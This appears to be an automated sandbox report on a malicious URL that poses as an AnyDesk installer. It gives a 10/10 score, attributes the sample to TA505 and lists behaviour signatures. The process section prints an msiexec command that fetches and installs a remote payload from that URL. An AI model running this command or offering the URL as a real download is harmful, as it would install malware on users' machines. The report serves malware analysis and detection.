Analysis
-
max time kernel
75s -
max time network
164s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
-
submitted
23-01-2023 18:44
General
-
Target
https://download-cdn.com/download.php?f=Ldrp.dll&from=AnyDeskSetup_26b30163.msi
Score
10/10
Malware Config
Signatures
-
TA505
Cybercrime group active since 2015, responsible for families like Dridex and Locky.
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Unknown use of msiexec with remote resource 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I https://download-cdn.com/download.php?f=Ldrp.dll&from=AnyDeskSetup_26b30163.msi1⤵
- Blocklisted process makes network request
- Unknown use of msiexec with remote resource
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow